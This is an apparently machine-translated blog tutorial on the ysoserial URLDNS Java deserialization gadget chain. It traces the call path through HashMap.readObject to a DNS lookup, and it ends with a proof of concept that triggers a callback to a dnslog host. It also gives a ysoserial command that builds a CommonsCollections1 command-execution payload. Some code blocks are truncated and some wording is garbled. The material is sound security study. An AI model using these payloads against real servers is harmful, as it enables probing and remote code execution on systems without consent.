Learning about URLDNS chain


Before we talk about the reverse sequencing benefit chain, we can't skip a procedural tool, ysoserial.

Reverse sequencing is not a new term in all languages, but Gabriel Lawrence (@gebl) and Chris Frohoff (@frohoff) proposed to use Apache Commons Collections to construct the benefit chain of command execution on AppSecCali in 2015. At the end of this year, it aroused thousands of waves due to the use of famous applications such as Weblogic, JBoss and Jenkins, Completely opened a piece of Java security blue.

ysoserial is a tool released by the two original authors in this topic. It allows users to generate reverse sequential benefit data according to the benefit chain they choose, and execute the user's pre-defined commands by sending these data to the target.

Is it a benefit chain?

The utility chain is also called "gadget chains", which we usually call gadget. If you have learned PHP reverse sequencing, you can interpret the gadget as a method, which connects from the trigger position to the end of the command execution position. In PHP, it may be__ Descstruct to eval; If you haven't learned the reverse sequencing of other languages, then gadget is a way to generate POC.

The use of ysoserial is also very simple. Although we do not understand CommonsCollections for the time being, we can easily generate the POC corresponding to this gadget with ysoserial:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"

As mentioned above, the parameter of most gadgets in ysoserial is a command. For example, this is id. The generated POC is sent to the target. If the target has reverse sequencing and meets the conditions corresponding to this gadget, the command id will be executed.


URLDNS is the name of a benefit chain in ysoserial, but accurately speaking, this can not be called "benefit chain". Because its parameter is not a command that can be "used", but only a URL, the result that can be triggered is not the execution of the command, but a DNS request.

Although this "benefit chain" is actually not "benefit", it is very suitable for us to use when detecting deserialization because of its following advantages:

  • Using Java built-in class construction, it has no dependence on third-party libraries
  • When the target is not echoed, you can know whether there is reverse sequencing through DNS request

Let's go and have a look Source code

public Object getObject(final String url) throws Exception {

    //Avoid DNS resolution during payload creation
    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = new SilentURLStreamHandler();

    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

    return ht;

public static void main(final String[] args) throws Exception {
    PayloadRunner.run(URLDNS.class, args);

         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior/
         * using the serialized object.</p>
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
static class SilentURLStreamHandler extends URLStreamHandler {

    protected URLConnection openConnection(URL u) throws IOException {
        return null;

    protected synchronized InetAddress getHostAddress(URL u) {
        return null;

The utilization chain is as follows

Gadget Chain:

HashMap underlying principle

We can see that the main use of the chain is HashMap(). Let's first take a look at the underlying implementation principle of HashMap()

HashMap: as the main implementation class of Map; Unsafe thread and high efficiency; Store null key and value

HashMap map = new HashMap():

After instantiation, the bottom layer creates a one-dimensional array Entry[] table with a length of 16

... You may have executed put. Multiple times

map.put( key1, value1):

First, call hashCode() of the class where key1 is located to calculate the hash value of key1. After the hash value is calculated by some algorithm, the storage location in the Entry array is obtained. If the data in this location is empty, key1-value1 is added successfully---- Case 1

If the data in this location is not empty, (which means that there are one or more data in this location (in the form of linked list)), compare the hash values of key1 and one or more existing data:

If the hash value of key1 is different from the hash value of existing data, key1-value1 is added successfully---- Situation 2

If the hash value of key1 is the same as the hash value of an existing data (key2-vaLue2), continue to compare: call equals(key2) of the class where key1 is located

If equals() returns false: key1-value1 is added successfully---- Situation 3

If equals() returns true: replace value2 with value1.

Supplement: about case 2 and case 3: at this time, key1-value1 and the original data are stored in a linked list.

In the process of continuous addition, the problem of capacity expansion will be involved. The default capacity expansion method is to double the original capacity and copy the original data.

jdk8 is different from jdk7 in terms of underlying implementation:

  • new HashMap(): the bottom layer does not create an array with a length of 16
  • The array at the bottom of jdk 8 is Node [], not Entry []
  • When the put() method is called for the first time, the underlying layer creates an array with a length of 16
  • The underlying structure of jdk7 is only: array + linked list. The underlying structure in jdk8: array + linked list + red black tree.

When the number of elements in an index position of the array in the form of linked list is > 8 and the length of the current array is > 64, all data in this index position will be stored in red black tree instead.


Principle: Java util. HashMap rewrites readObject and will call hash function to calculate hashCode of key during deserialization And Java net. When calculating the hashCode of the URL, getHostAddress will be called to resolve the domain name, so as to issue a DNS request

Pull items to idea

Find the entry point mainClass

Run the test

An error was found because no value was passed in

We click edit configuration

Then get a link to dnslog

Incoming parameters

The serialized data can be obtained

First, we debug the breakpoint at the put() method

Here you can see that putVal(hash(key), key, value, false, false) is used; Statement calculates the hash, and we follow the hash function

Why do I focus on hash functions without analyzing them? Because ysoserial's comment clearly states "During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.", The calculation of hashCode triggered the DNS request.

It is found in the hash() function that the hashCode() function is called again

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

The Object calling hashcode here is Object. When the value is actually passed in, the Object will become Java net. URL, so what is actually called is the hashcode method of the URL. When hashcode is equal to - 1, the handler will be executed Hashcode () method, let's continue to follow it inside

We can see that there is a getHostAddress() method in the hashCode() method. I guess it should get the ip address. Let's continue to look inside

Via InetAddress As can be seen from the comments of the getbyname function: if the input parameter is the host name, the ip will be queried, and there will be a dns query.

Let's take a look at the rewritten getObject() method

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
                K key = (K) s.readObject();
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);

You can see from the comments here: avoid DNS queries during payload generation.

Let's take a look at the SilentURLStreamHandler class. It inherits URLStreamHandler and rewrites the openConnection and getHostAddress methods. The openConnection method is an abstract method, so it must be rewritten. The getHostAddress is rewritten to prevent the URL request and DNS query from being executed when the getHostAddress is turned into a Payload, and null is returned directly when the getHostAddress is executed, Avoid further calls to getByName().

Go back to HashMap ReadObject method. If the source of the parameter key in the hash method is read by readObject, it means that this value has been written when serializing the WriteObject method.

Continue to look at the writeObject() method and follow up the internalWriteEntries() method

You can see that the key written here is extracted from the tab array, and the value of tab is the value of table in HashMap. To modify the value of table, you need to call HashMap Put() method.

But HashMap The put () method will trigger a DNS request, which explains why it is necessary to prevent the URL request and DNS query from being executed when the Payload is formed.

Then the overall call chain is as follows

HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() -> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress->URLStreamHandler.hashCode().getHostAddress->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName


After understanding the principle of chain, write a poc and try it yourself

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class URLDNS implements Serializable
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        URLStreamHandler handler = new URLStreamHandler() {
            protected URLConnection openConnection(URL u) throws IOException {
                return null;

        HashMap map = new HashMap<>();
        String url = "http://xkesxe.dnslog.cn";
        URL u = new URL(null, url, handler);
        Field code = u.getClass().getDeclaredField("hashCode");
        code.set(u, -1);
        map.put(u, url);

        ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream("test.data"));
        ObjectInputStream stream1 = new ObjectInputStream(new FileInputStream("test.data"));

The results are as follows

Keywords: Java Cyber Security

Added by squimmy on Sat, 05 Feb 2022 09:41:33 +0200